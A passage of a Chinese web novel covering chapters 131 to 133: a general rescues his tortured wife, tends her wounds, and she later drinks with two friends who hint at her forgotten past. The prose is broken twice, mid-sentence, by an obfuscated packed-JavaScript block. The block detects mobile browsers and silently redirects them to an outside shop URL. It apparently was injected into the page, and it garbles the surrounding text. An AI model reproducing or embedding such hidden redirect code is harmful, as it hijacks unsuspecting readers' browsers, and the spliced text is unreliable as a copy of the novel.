秦川已闻到细微气味——陈腐的血腥,朽烂的铁锈,酷刑、恐惧、绝望的气息。 “金州军的地牢,都是接着山体原有的石洞,再凿出石窟纵横勾连,一连一大片”,秦川抓着脑袋、十分焦躁无奈,“不仅入口隐蔽,进去了就跟钻耗子洞一样,能把人绕晕。” “也不知夫人被他们关到哪个犄角旮旯了。” 苻洵摇头:“我只能感知大概区域,慢慢搜吧。” 秦川忽然双眼一亮:“主子快看,绿衣和银色软甲,金州军近卫军的穿着。” 苻洵顺着他目光看去,只见对面山头绿树葱茏,偶有一小块没长树木的白地,隐约可见人影幢幢。抬起千里镜,看得更真切了,一名紫衣中年男子率五六十个亲兵,匆匆朝这边走来。 苻洵心跳一突:“马上,盯紧崔玄礼!” 秦川:“主子,崔玄礼来这儿干嘛,率兵围攻咱们?” 苻洵眼中既狂喜又忧虑:“若我所料不差,他是来拷问夫人的…” 秦川一个趔趄:“夫人那性子,您就是对着她说军务,她都左耳进右耳出,她能有什么线报?” 苻洵:“但是,她可以装作知道,而且还是知道重大线报。” 秦川恍然大悟:“她是想用此举,引那些人将她从地牢转移到刑堂,地牢到处都是,刑堂却只有一个。若来拷问的是个大人物,阵仗肯定不会小,咱们找起来方便多了。” 顿了顿,他喟然长叹:“金州军的刑讯手法,夫人怕是要吃大苦了。” 镇南府的设立,主要是震慑群山中的匪患,为了从那些亡命之徒口中撬出线报,七十二道酷刑各国皆知。 苻洵默了片刻,眼中闪过几星泪光,声音微颤:“跟紧崔玄礼,门一开就闯进去。” 白袍卫无声散入乱石堆周围密林之中,分布在不同方位,占据地势、蓄势待发。 眼见崔玄礼走进乱石堆,地面一块方石缓缓挪移,迎出来一名布衣大汉,穿土黄色和深绿色斑驳的短打,笑容满面。 “主子,这就是那晚偷袭我们的,武卒营校尉娄轸。” 苻洵直勾勾盯着那两张寒暄的脸,攥紧手中长刀,一字一字寒声道:“这两个人,看清了,一个都别放过,每人九刀才准咽气,少一刀唯你是问!” 131. 水月镜花 刑堂入口的方石并未合上,崔玄礼只带了副将入内,五六十个亲兵守在洞口。片刻后,地牢内传出短促的惨呼声,戛然而止。 秦川心急如焚:“主子,这就是个普通石堆、没有木石阵,这里大概有五百武卒,还埋伏了百名弓弩手,是否马上处理?” 苻洵焦虑得双眉紧蹙,却一言不发,屏息凝神似在倾听什么,忽然抬起千里镜,看向崔玄礼来的那座山头。 林间人影幢幢,身着红色锁子甲的将领,率亲兵匆匆奔来。 “崔玄义!他不是一直在金州吗?”秦川脸色大变。 “不好,真正的埋伏在玄甲营那边,那个营寨是个空壳诱饵”,苻洵面沉如水,“崔玄义把金州大军带来了,估计已拉好口袋,就等我们的中军陷进去。” “秦川,等崔玄义进了刑堂,赶紧给下六卫传讯……英平、北卢、郅阳三郡步兵马上撤,他们进山不久、应该还未入瓠。空营寨那边断臂求生吧,玄甲营和□□,逃得出多少是多少。” “还等?”秦川像热锅上的蚂蚁,“这都过去一刻了,夫人大伤初愈,怕是受不住。” “此刻传讯,会惊动崔玄义,再生枝节”,苻洵埋头,双手紧握成拳、青筋暴凸,眼圈泛红、痛苦地闭上眼,“若是……我绝不苟活,她因我所受折磨熬煎,我必同等领受、之后随她而去。” “可他们同样有父母妻儿,我不能让他们白白送死。” 秦川沉默了,难以置信地看着他。 从哪天开始的呢,他竟会顾惜袍泽性命,不再视杀伐如狩猎、视战争如棋局、视苍生为棋子?那令列国闻风丧胆的少年杀神,竟也长出了一丝活人气。 又等待约两刻,崔玄义率亲兵、笑逐颜开进了刑堂。 秦川如释重负,忙一声唿哨,白袍卫分出二十人飞奔到秦川身边,领命之后,五人一队分作四队,突向圈子外围。锐响破空,箭簇电掣风驰奔袭追去,那二十人身法诡谲,白影飘飘荡荡几下,腾挪着消失在密林深处。 此举亦暴露了苻洵、秦川一干人等,霎时间万箭齐发。像下了一阵急促的雨,箭簇从四面八方射来,密密麻麻在林间穿梭,交织成锋利的天罗地网。 同时,树冠树丛中绽出无数寒光,一簇又一簇血花在灌木丛、石块后、陡坡下盛放,箭雨稍歇的刹那,白袍卫迅疾如电出手,挥刀扑向埋伏的弓箭手。 苻洵跃下藏身的树木,顾不得漫天箭雨,目不斜视向着刑堂一路狂奔。听见耳畔脑后风声,也只略略侧身闪避,躲得开就躲,躲不开就任羽箭擦着飞过,割开衣袍、钉入身躯。 他看也不看,好似没有痛觉,只片刻不歇闷头狂奔,跑到地牢门口时,长刀一挥、血溅三尺。 守在地牢门口的亲兵,见一群白衣人像离弦之箭,杀气腾腾地狂飙而来,忙结阵护卫。阵型未成已被苻洵冲破防线,他步履轻盈、兔起鹘落,像刮过一阵疾风、劈过一道惊雷,撕开一路鲜血激射。 守门狱卒见势不好,赶紧挪动方石、想封住牢门,初初发力刚推动石块,只觉脖子一凉,已被一刀封喉。 苻洵抱着锦瑟,在秦川的掩护下走上地面时,武卒营才反应过来,正从四面八方往地牢门口集结。 血溅满他白皙的面颊,衣袍破碎、纵横着无数刀伤箭伤,整个人像是从血池中捞出的。五百武卒潮水般涌来,他只淡漠瞥了眼,轻描淡写道:“都处理了。” “尤其是地牢里见过夫人的,一个不留!” . 荣国建宁八年、南翊延光一年,六月十九,金州军出动五千武卒、五万精兵,于戎陵群山犁台凹,大战荣国玄甲营和□□,玄甲营七千人只剩一千多人,□□两千人折损过半。 金州军同样损失惨重,折损四千武卒、三万精兵,崔玄礼、崔玄义战死。可屈指算来,还是南翊惨胜。 玄甲营七千人,皆由苻洵逐个擢选、手把手训练数年,是精锐中的精锐、武卒中的武卒。个个骁勇善战、武艺高强,上马为铁骑,下马为武士,列国之中,素有“千军万马避玄甲”的说法。 此一役,玄甲营折损大半,无异于重创苻洵一臂。 竹骨纨素屏风背后,十五连枝灯焰光煌煌,照得卧房如同白昼,趴在贵妃榻上的人正深度昏迷,后背血肉模糊,血液浸透褴褛上衣、干涸之后将布料和伤口黏成一体,左腰一块皮焦肉烂的烙印,纤纤十指、甲盖内全是发黑淤血。 医婆小心翼翼剪开衣料,绞碎成小块,剥离撕拉下来,再是谨小慎微、也难免连着撕下小片皮肉。 后背上碎布撕脱还不到一半,锦瑟疼醒了,全身剧烈颤抖、满头是汗,额头和手背青筋暴凸,双手却紧紧攥住围栏,控制身形不动。 “受过多少伤,才这样能忍”,苻洵坐在榻边怔怔看着她,眼眶蓄满泪水,自嘲地笑了,“苻洵啊苻洵,枉你之前还嘲讽别人,不一样没护住?” 她急促哀嚎一声、又戛然而止,张嘴咬上木质围栏,呜呜咽咽、不让惨叫从喉咙冲出来。苻洵捋起袖子、将小臂伸过去:“木头硬,咬这儿。” 锦瑟双手攥得更紧,徒劳摇头、避开他伸过去的小臂,他忽然气血翻涌,托起她的头、将手腕塞到她唇间。 上下齿难以自抑地合拢,狠狠咬住他手腕,并越咬越重。他感觉不到疼,只有说不出的舒畅和满足,似乎那撕心裂肺的心痛,都随着她逐渐加重的啮咬力度,减轻了几分。 嵌进伤口的布料、盐水和辣椒粉被一点点清理出来,她又痛晕过去了。 长的短的、横的竖的,鞭伤、刀伤、针刺伤、烙伤……伤口边缘已泡得发白,渗着浅粉的粘液,皮肉翻卷、深可见骨。 苻洵只瞄了一眼,霎时感觉头晕目眩,浑身凉飕飕的,僵硬得不知所措,空荡荡的胃腹蓦地抽疼,涌出一阵干呕。他忙紧闭双眼、别过脸不看伤口,才堪堪控制住落荒而逃的冲动。 秦川隔着屏风,看了眼瑟瑟发抖的苻洵,走出卧房喟然长叹:“主子也受伤不轻,好歹劝劝他清理上药。” 郎琊:“等夫人包好伤再说,这会儿去,岂非往刀口上撞?” 秦川:“说来奇怪,以往咱们在战场上更不堪的伤都见过,也没见主子恶心成这样。” 郎琊:“不会说话就闭嘴,这哪是恶心,分明是害怕。” 锦瑟刚被救回来那几天,伤口有不少红肿溃烂,高烧连连,迷迷糊糊满身是汗,时常晕过去又疼醒来。 苻洵衣不解带守了几夜,等她高烧退了,每夜借助安神汤可睡整觉,就不再长待卧房,却也不去别的房间歇息。 卧房门前的院中,有一棵碗口粗的合欢树,苻洵在树下支了张榻,只每夜躺在合欢树下,执一瓶薄酒,有一搭没一搭喝着。 “主子,您的伤还没好,少喝些酒。”郎琊忧心忡忡劝慰。 苻洵苦笑着微微仰头,灌下一口:“我这点伤不算什么,不喝些酒睡不着。” 郎琊默了半晌,喟叹:“主子还是保重,不然夫人不知该怎么心疼呢。” 苻洵摇摇头,上台阶、推门走进卧房,借月光凝视她睡颜,指尖拂过她额上薄汗,轻声叫来热水、拧了湿毛巾替她擦汗。 又见她嘴唇在无力噏动,忙起身倒了杯白开水,又拿起一个空杯子,一边轻轻吹气、一边把开水在两个杯子间倒腾。隔着杯子感觉凉得差不多了,尝了一小口,才缓缓托起她的头,喂她喝水。 他每夜都睡得不踏实,短则两刻、长则一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482618|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个时辰总会醒一次,进去看看她是否睡得安稳,热了冷了,渴了饿了还是又痛了。 郎琊:“主子这样反复折腾,还不如直接在屋子里支榻,外头露重霜寒。” “大概是心虚……总觉着有今夕没明朝”,苻洵双眸含泪,自嘲地笑了,“自伤腿骨、遍体鳞伤、皮焦肉烂、十指连心,她为何要主动受这份罪?为一个跟她没半点关系的孩子,为一个连累她的我。” “夫人满心满眼都是主子,咱们明眼人都瞧得出,主子怎么反倒不敢信了?”郎琊叹了口气,“至于大公子……只能说,夫人一直对孩子很好,这份善良早刻骨子里了。” 苻洵神思恍惚喃喃道:“是啊……她一直如此。” . 人间逄七月,大火向西流。 锦瑟昏昏沉沉度过了第二十六个生辰,等到神智逐渐清明,已是秋风乍起。 后背、肩膀、左腰结了厚厚的痂,不时感到微痒,医婆宋嬷嬷说这是在长新肉,不能挠。 右腿伤得不重,早已愈合。但是宋嬷嬷说,她的左腿和双肩都有很深的旧伤、深及筋骨。而且,她曾经元气大泻过,底子十分虚弱。天气转凉后要多加注意,尽量待在气候温润之地。 她呆愣半晌回不过神,听他们说自己从小到大都呆在内院,记忆中仅有两次受伤,一次是他们说的为苻洵挡箭、一次就是在金州军受酷刑,左腿和左肩又是哪来的伤? 宋嬷嬷郑重地说:“这我就不知道了,还请夫人记着,往后左腿和两只胳膊少使劲……夫人贤身贵体,原不必有此担忧,只是听说夫人想习武,这可万万使不得。轻则徒耗元气,重则两臂俱废。” 锦瑟静静听完,默了半晌,忽然噗呲笑了:“阿洵也真是的,为了不让我习武,这么离谱的事都能编排出来。” 宋嬷嬷轻咳一声,摇摇头走了出去:“夫人既已开始愈合伤口,可以多出来走走,不必再像往日那般闷在病榻了。” 里间帘幕低垂,水汽氤氲满室,热水微微发烫,浸泡其中只觉骨酥筋软,全身都通畅活络了,絮儿拿着琉璃小瓶走进来,将香露倾在热水中。 周身萦绕着素馨甜香,穿藕荷色雨丝锦齐腰襦裙,外罩丁香色半袖,乌发挽成随云髻,随意别上一枚花丝嵌珠水滴簪。淡扫远山眉、薄施茉莉粉。为增气色,挑了些嫩吴香胭脂揉开,晕在双颊、抹在唇上。 想了想,又从妆盒选出一枚花钿,深红梅花贴在额间。 推开房门,秋风舒朗、天高气爽,庭院种了几十棵梅树。透过稀疏的树枝、满庭纷坠的落叶,对面正房花窗大开,苻洵手执一根细长木棍,一边凝神沉思、一边蘸墨,对着悬挂墙上的巨幅舆图,不时圈圈点点。 此处已是北卢郡,威远将军府。 暮色渐起,敦睦堂亮起灯烛,她站在黑暗里,静静凝视着花窗之后,那专注军务的男子。 零碎的疑惑在心里扎了根,紧急时习惯的动作、多处旧伤、元气大泻、虚弱不堪…… 她弄丢了自己,他们的过往裹在厚厚的迷雾里,以至于眼前的欢愉,都像镜中看到的花,倒映水中的月,精美绝伦,似真似幻。 他不知何时已站到她身边,抬眸一瞥、眼波流转,笑盈盈地问:“许久不见,姐姐是否想我了?” 她双颊滚烫:“轻浮……” 他环过手臂揽住她走向外院,同时贴近她颈窝轻轻一嗅:“我只对姐姐轻浮。” “阿洵,我们去哪儿?” “给姐姐补过生辰。” 他揽着她,穿过重重庭院,走过夜路漫漫,转向千灯璀璨的夜市。 她突然之间,不愿再多思多虑,只想就这样随着他,一起走向熙熙攘攘的红尘烟火。 132. 将军百战声名裂 暮云收尽溢清寒,银汉无声转玉盘。 锦瑟置身馥郁的金桂花丛,花影映照在茶杯中,皓月也倒映在茶杯中。这是她有记忆以来,第一个阖家团圆的节日。 黄昏时,苻洵就带着子女入宫赴宴去了,他原本想留在洛川别苑团圆,锦瑟念及苻阐的新教习,劝了他好几遍。 苻阐的新教习,是刚致仕的尚书令虞正则。性情高洁孤直,不贪慕权贵,性本爱丘山,却才学不输太子三师,最后是苻沣召他回京,与苻阐小会半天。 苻阐果然资质出众,这一会面,虞正则心甘情愿收他为徒。 苻忆十分勤奋,每天雷打不动跟着哥哥听学,这样一个玉雪可爱的小娃娃,爱学好问又全无骄奢之气,哄得老尚书心都酥了。 没过几天,苻忆也拜入虞正则门下。 锦瑟犹自记得,老尚书当时捋了捋花白的胡须,欣然点头:“真真歹竹出好笋。” 她一口茶险些全部喷出,转念一想,这一家子人,就苻洵看起来最不正经。 说好听叫风流倜傥,说不好听叫轻浮放荡,莫说眼眸勾人魂魄、言语旖旎暧昧,就连与她单独逛夜市时,那步态都能扭出花来。 刚成婚那段时间,她还曾忐忑过,如此勾人的夫君,内帷指不定乱成一锅粥。可三个多月过去,生活平静无澜,苻洵每天除了练兵理政,便是逗逗孩子、带她四处玩乐。 总给她一生一世一双人的错觉。 洛川别苑两位侍妾一直住在后面那排小院,与主院用一道围墙隔开、各自为政互不相扰。月门挂着一把大锁,自她清醒就从未打开过。 听絮儿说,按规矩两位姨娘初一、十五要来给她请安,但这规矩自她受伤昏迷就再未实施。 所以,她至今都没见过她们。 柳儿曾跟她说她们的来处、容貌风姿、分别是谁的生母……她统统充耳不闻。 听到关于她们越少,她才能不将她们放进心里,才能自欺欺人、毫无芥蒂跟苻洵继续如胶似漆。 一边肆意欢愉、一边隐隐作痛,带着无可救药的自鄙自怜。 她打心眼敬重端方君子,可到了男欢女爱时,让她痴迷至深的,偏生是如此妖异邪气的郎君。 情不知所起,一往情深。 这次中秋宫宴,继后原是邀请他们一大家子,可苻洵说,继后上次见她就心绪激荡,如今怀着身孕不宜大喜大悲,遂以她伤重未愈为由告了假。 苻沣很满意,说幼弟这婚事十分不错,有了正妻果真稳重许多,高兴之余又赐了筵席送到洛川别苑。 锦瑟也很高兴,苻洵委实太过热闹、太喜欢带她四处玩乐,两个孩子也太过黏人。可她有时不愿见到那父子三人,想让自己从梦境抽身、清醒独处片刻。 她提着一盒桂花糕、一屉蒸熟的螃蟹,又来到了梅林下。姚晟带着府兵刚巡逻过去,还对她施了一礼。她目送他们远去,却并未沿着小径走向后门,而是深吸一口气,足尖轻点、提踵往上跃去…… 双腿飞快地蹬过地面、墙面,稳稳站在了围墙上。 成功了! 她心花怒放,脚底一滑、身子晃了晃,即将坠落时陡然反应过来,在半空轻盈旋了半圈,足尖轻点砖墙外围,翩然跃下、踩在实地上。 虽然落地还不够轻,震得脚底有些发麻,但已经很好了。 无论是在何处,苻洵从不拘束她行动,她时常独身溜出府去,寻一方无人的空地和山崖,反复练习。先时举重蹲马步练力量,双臂和腿伤隐隐作痛,她只能放弃,暂时先按谢恬说过的身法练习轻身上墙。 短短个把月,竟也练得有模有样。 前几天,她跟苻洵回灵昌过中秋。苻洵白天都泡在太尉府,苻阐和苻忆勤学不辍,府里的账、进项开项清晰明确,样样遵循旧例就成,花不了多长时间就处理完了。 百无聊赖,她先去苻洵书房逛了几回,密密麻麻全是舆图和线报,她莫名抗拒这些东西。于是打算出府散心,刚出后门,就在松花巷围墙根下的老地方,重逢谢恬和司徒空。 谢恬依然是那副笑盈盈的伶俐样,司徒空眉头皱得没那么狠了,偶尔还会瓮声瓮气关怀她几句。 谢恬带她去他们的住处,在隔松花巷两条街的五桂巷,赁了一栋一进的小院。青砖黑瓦、蓬门小户,外表看来平淡无奇,进去了更平淡无奇,俩大男人住得家徒四壁、清锅冷灶。 从见第一面,她就莫名觉得他们亲切,却又下意识想跟旁人隐瞒他们的存在。 中秋节了,他们肯定一人抱一坛子酒,自斟自饮,没半分热乎气。她不禁莞尔,绕到后墙根的排水沟,想神不知鬼不觉跳进院中、吓他们一跳。深吸一口气正要提踵,蓦然听见院中传来争吵声。 谢恬叹息:“要不然算了,我看她就这样过下去,也挺好的。” 司徒空冷笑:“什么叫算了?好什么好,从前什么身份,现在什么身份,给几颗糖就当宝贝了。” 谢恬声音陡然拔高:“你非要我直说么,金州军那茬你还没看明白么?那帮世家大族有几个真心盼着她活下来?三殿下都快把她忘了!” “身份?你没睡醒么?她生母空有虚爵、生父国破家亡,家族在朝中没有根基,出身又不高贵。没了昭王和庄王的抬举,幼主手中没有实权,她在那里有何身份?当年还是新婚,就有人当着她的面给庄王塞女人!” 司徒空大怒:“她拥立庄王即位、有从龙之功;招安虎威残部、平定滬南;随庄王南征北伐、战功赫赫;组建九功馆更是国之重器。她功勋卓著,靠的是九死一生,不是谁抬举!她不该如此下场!” 谢恬冷笑:“该不该的,我们说了不算。庄王爱宠她、抬举褚氏又如何?滬南百姓和九功馆十三部感念她又如何?那些世家大族、宗亲贵胄有几个真心瞧得起她?可这些人才是她回去之后,要天天面对的!” “当初庄王为了娶她,扛了多少压力你忘了?年初五公主写信许婚,朝中骂成什么样你忘了?” “那些血统高贵的败类,当年因她是庄王爱妻、庄王又性格强势,才不敢不尊她敬她。如今朝中,除了丞相和司南侯,其他真心敬重她、疼她的人,庄王、烈王、西三营众将……早就死了,全都死绝了!” 司徒空:“摄政太后是她养母,又深明大义,不是还时常怀念她么?” 谢恬:“你是不是脑子有病?她怀念的是为她儿子殉节的儿媳,从大婚那一刻起,她们就不是母女了,是婆媳!冯太后再深明大义,她也是个人,心里总有亲疏远近。” 司徒空:“左一个殉节,右一个婆媳,你凭什么拿滬南的贞节牌坊去套她?” 谢恬:“这个殉节,与她是男是女、是夫是妻无关,只跟另一人殉国有关。君王死社稷,王后殉大义,何等佳话?若她一死了之,与敌将周旋也罢、刺杀失败也罢,都能一笔勾销,可她偏偏活了下来。” “史笔如椽,那些人如今捧她多高,到时就会踩她多狠,甚至恨不得帮她体面!” “够了,她不欠任何人的”,司徒空暴喝,拍案而起,“什么破玩意儿,老子偏要带她回去,问一问那堆满嘴忠孝礼义的废物,他们又为国做了什……” “喵呜”,一只野猫从屋脊跳下,循着味儿使劲扒拉螃蟹木屉,她赶紧闪身躲开,却已惊动院内。眼前闪过一条素白身影,谢恬站在她面前,看着她手里盒子,笑了笑:“阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491589|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姊好兴致,既来看我们兄弟,怎么不走正门?” “本想悄悄跳进来,给你们看我的轻身工夫,听你们吵得起劲,不好打搅……大过节的吵什么吵”,锦瑟也笑了,举了举两只手,“宫造的桂花糕、上赐的螃蟹,都是熟的,赶紧去买酒来趁热吃。” “伤都还没好透,提这么重东西”,司徒空骂骂咧咧接过她手里的食盒,“跳什么跳?老幺,带她走正门!” 谢恬带锦瑟绕过侧墙,回到五桂巷,却没有进院子,只扬声道:“三哥你去买酒,阿姊喝不了花雕,你去给她给买两瓶错认水,若是没得卖,果子浸黄酒和羊羔酒也成。” 他带她往另一头巷子口走去,笑吟吟道:“阿姊吃不得螃蟹,那家的羌煮羊肉味道还成,去买些回来下酒。” “怎么都知道我吃不得螃蟹?”锦瑟悻悻道,“阿洵也时常跟我说,这吃不得、那吃不得。” 谢恬脚步一滞,若无其事笑了:“女孩子大都体质寒凉,螃蟹是大寒,自然吃不得。如此说来,建业侯待阿姊很上心…” “他对我很好……”,锦瑟叹了口气,“可惜你们是翊人,不能替你们引荐。” 谢恬一个趔趄差点摔倒:“你何时看出来的?” “见你们第一面就猜到了,荣国没几人对阿洵指名道姓的,北宛和西羌人长相很好辨认”,锦瑟扬眉、不以为意地说,“不过,与你们投缘是我的事,可别想通过我打探到什么,我绝不会背叛夫婿,更不会叛国……” “又来了……走哪儿都副鬼德性”,谢恬喟然长叹,头痛地扶额,“我脑子进水了,才会想利用你从苻洵那儿偷线报。” 锦瑟一头雾水,转了话题:“大过节的,你们刚才吵什么?” 谢恬思索片刻,正色问:“在谈论一个朋友,他们夫妻都是当世英雄,她的夫君殉国了,她本来也想殉国,却意外活了下来……” “听你们那般说,她不可能安心活下去的”,锦瑟蹙眉思索半晌,正色回道,“生,亦我所欲也;义,亦我所欲也。二者不可得兼,舍生而……” “够了!”一向笑容可掬的谢恬,声音陡然高了几度,愣了半晌勉强挤出个微笑,“说来说去都是别人的事,咱们也管不着,买羊肉买羊肉……” 锦瑟被他吓了一跳,心底却不知为何,陡然涌出一股萧索悲凉。 三人坐在屋脊上,头顶一轮冰雪凉白的明月,脚底是灵昌城万家灯火,锦瑟喝着甜丝丝的错认水,听他们你一言我一语讲列国趣事,喝了快两瓶、也只是有些心绪激昂,丝毫没头晕。 她怀疑这俩人往她酒里掺了水。 又喝了两瓶,她脚底轻飘飘的、头脑混混沌沌,什么萧索悲凉都忘了,举起酒瓶扬声高呼:“马上琵琶关塞黑,更长门、翠辇辞金阙。看燕燕,送归妾。” 谢恬慨然高歌应和:“将军百战声名裂。向河梁、回头万里,故人长绝。” 司徒空出声雄浑愤懑:“易水萧萧西风冷,满座衣冠似雪。正壮士,悲歌未彻!” 谢恬和司徒空将酒坛扔下、恨恨摔碎,又各自开了一坛新酒,仰头对着明月灌下,双眸含泪齐声悲吟:“啼鸟还知如许恨,料不啼清泪长啼血。谁共我,醉明月?” 锦瑟心头陡然一空,同时又沉甸甸的,好似压上了千钧巨石。 秋天的露珠渐渐蔓延上来,纤滑无尘的明净夜空里,银河平静无波,月亮比平时更大、更亮,恍惚间竟似看见月宫中桂影婆娑。 三人竟喝得大放悲声、相对无言。静得能听见远处管弦丝竹,被风吹来的笙歌仙乐、缥缥缈缈不似在人间。 “……诗万首,酒千觞。几曾著眼看侯王。玉楼金阙慵归去……” 133. 世外桃源 群玉街是灵昌有名的风月一条街,灵昌为一国之都,商客云集,风月之地自是不少,这群玉街却有其独到之处。 一个字,雅!两个字,上等! 风月也有风月的道。最下等的,掩藏在冷巷柴扉后,年老色衰、倚门卖笑;第三等的,珠帘绣户、红袖招摇,姑娘们姿色中上、粗通文墨。 而最风雅上等的勾栏瓦舍歌舞坊,不沾半点荤腥,当然,姑娘与客人私下你情我愿不叫荤腥,叫风流韵事。 歌舞坊的姑娘,大都是才貌双绝的清倌人,美貌气韵缺一不可,琴棋书画、吹拉弹唱无不精通,那些艳冠京城的名妓大都出自群玉街。王公贵族趋之若鹜、千金买笑。 今夜,谢恬和司徒空带锦瑟来冶游的飞花楼,便是这样一间上等歌舞坊。 锦瑟换作男子妆扮,洗净胭脂铅华,又将眉毛描粗描浓,长发挽成椎髻、别一根牙白色玉簪,买了身胭脂色交领长袍穿上,手持一柄竹骨折扇,揽镜自照,颇有几分轩然霞举的姿态。 硕大的三十六枝灯悬吊在中庭上方,照着大堂正中的圆形高台。三层环绕中庭的楼层光线暗淡,邻近围栏处用屏风和帘幕隔出无数雅间。锦瑟坐在二楼侧对高台的雅间,看着高台上共舞的两名女子,如痴如醉。 她们似一双轻盈雨燕,都穿着仙袂飘举的细腰舞衣,一位牙白色、一位绯色,舞袖长达两丈。腰肢纤软、柔荑如兰苕,俯身时佩玉锵锵,旋腰时罗裙褰褰,长袖旋转舞回雪,风吹仙袂飘飖举。 “粉麝脂兰未足猜,芬芳都让谢家才,隔帘误作梅花嗅,那识香从梅花来……”歌声柔婉缠绵,两名女子对视的目光也缱绻款款,含情凝睇。 锦瑟果然嗅到一股甜香,与高台上翻飞的舞袖相映成趣,她更看得痴了。 “……今朝棋才逢对手。怎能勾生同地,嫁并归,吟联席。” 绯色舞衣的女子翘袖折腰,虽长袖善舞,目光却在她这个雅间反复流连。 那女子姿容甚美,瞧着二十多岁,正是女子最美艳的年华。她的扮相冷清妩媚,双眸却像封着火焰的两块坚冰,看得锦瑟心神一漾。 茶博士解说道:“这是苏裳姑娘,近来在灵昌风头正盛,虽说年龄大了些,那一股子贵气却是学不来的。无数达官贵人一掷千金,只为一睹芳容。” 锦瑟兴致盎然:“哪里年龄大了?看起来着实矜贵,不知何等佳公子才能入她青眼?” “苏裳姑娘阴晴不定,高兴时一文钱不要也即兴起舞,不高兴时金山银山也碰不到衣角”,茶博士突然压低了声音,“听说原本在滬南那边,被一名贵族公子赎走,后来那公子战死,她才又出来讨生活。” 锦瑟黯然喟叹:“这连年战火,不知拆了多少人的美满日子。” 场中猛然爆发出热烈喝彩,锦瑟忙凝神看向高台,只见白衣女子已退入幕后,苏裳在高台上旋转起来,越转越快,绯色彩练被她舞成无数圈环绕周身…… “……叹世上知音有几?此后碎琴不鼓,把笔砚焚弃!” 无数胭脂红花瓣从上空撒落,飘飘荡荡,馨香四溢。 苏裳足尖一点,轻盈跳跃了几步,对着锦瑟嫣然一笑,舞袖似两条游龙般甩出,蜿蜒飞向雅间,靠近她时却卸了力道,柔柔拂过她脸颊。 她情不自禁伸手去接舞袖,忽然眼前一花,兰麝香气从她颊边掠过,溜向耳后。 “既然姐姐喜欢,不如我纳她入门,你们每日相伴可好?” 她愕然回首,司徒空和谢恬已不知所踪,苻洵抓着那段绯红舞袖,正眉眼带笑盯着她。 逛勾栏撞见夫君,真不知谁更尴尬,锦瑟讪讪干笑两声:“你何时来的?谁说我喜欢她了?” “从‘隔帘误作梅花嗅’开始,不忍扰了姐姐雅兴”,苻洵从舞袖末端摘下花牌,将赏钱递给侍从,笑盈盈对着苏裳遥遥一礼,“答谢苏裳姑娘替我家夫人纾解。” 然后将花牌递给锦瑟:“姐姐既不喜欢她,听什么《怜香伴》?” 半个巴掌大小的白玉牌,描金錾刻着一朵蔷薇、一个瘦金体“裳”字,带着浓郁的兰麝香气。锦瑟顿时领悟了《怜香伴》的含义,接也不是、不接也不是。 苏裳已换下舞衣,穿一袭绿裙款款走进雅间,向二人跪拜谢赏。 苻洵一双含情桃花眼在苏裳身上反复流连,然后伸手扶起苏裳,温言细语:“姑娘可愿入寒舍,与我夫妻二人相伴?” 锦瑟心里颇不是滋味,酸溜溜、凉飕飕地想,果然欢场老手玩得开,这种事随意得像吃饭喝水。 苏裳用余光瞟过锦瑟,捂嘴轻笑:“还请公子莫要戏弄夫人。方才奴只是环视一圈,发现那些男人不甚合眼缘,瞧着夫人面善罢了。” “这可难办了”,苻洵情真意切地叹了口气,将手中花牌抛来抛去,“苏裳姑娘难得送一次花牌,就这样退回去岂不是砸场子,不如……” 锦瑟飞快夺过花牌:“不如给我,往后继续用。” 话一出口觉得有些怪,索性提高音量,理不直气也壮:“你来得,我怎么来不得?” 苏裳笑意更盛:“此处不比那些腌臜场子,承蒙贤伉俪厚爱,以后奴家排了新的舞曲,定当拜贴相邀。” 锦瑟觉得苏裳甚是有趣,对她颇有好感,又怕一说出口、苻洵真纳了她进门。正踌躇着,苻洵已伸臂揽住她,懒洋洋靠过来,另一只手斟了满杯酒,端到唇边浅酌。 帘幕拂动,苏裳识趣地退下了,临走还放下了栏杆那侧的湘帘。 苻洵偏过头跟她耳语:“这家歌舞坊很干净,乐舞也排得很不错,姐姐若喜欢,可以多来坐一坐解闷。” “其实我也只是一时兴起,苏裳姑娘倒有些意趣,既然夫君不介怀,我往后必定常来”,锦瑟咬牙切齿笑了,“妾倒委实不知,夫君在王宫好好地赴宴,怎么又来了此处?” 苻洵笑意不减,揽住她肩膀的那只手抚上去,轻轻按着她的头,将她以依靠他胸口的姿态拥入怀中,让她耳朵贴在自己心口:“因为这儿。” 隔着薄薄的布料,她能清晰听到他有力的心跳,擂鼓似地噗通噗通,越来越急促,一分分透出欢欣。 他低下头,含笑注视着她双眸,轻飘飘地说:“阿洵中了姐姐的相思毒,此生此世只能念着姐姐一人,若是对别人动了念头,就会摧心伤肝、生不如死。反之,靠姐姐越近,这儿便越欢欣鼓舞。” 锦瑟觉得他又在瞎说,却被他哄得甜丝丝暖洋洋的,信口接道:“那阿洵不若也给我下一剂此毒?” “姐姐是至情至性的人,心里有我时,何须用毒?心里没我时,下毒何用?”他温热的指腹在她脸颊、耳根、发髻流连,“好一位俊俏的公子,可愿与在下断袖分桃?” 锦瑟瞥见桌上有洗好的新鲜葡萄,于是摘了一粒、咬下一小口,将剩下的喂到他唇边。 “葡萄,勉强算‘桃’罢”。 . 苻洵的二十六岁生辰是在深山里度过的。 去年九月,渝安水师全军覆没,南翊水师纵横长流川,穿越阜门峡如入无人之境。 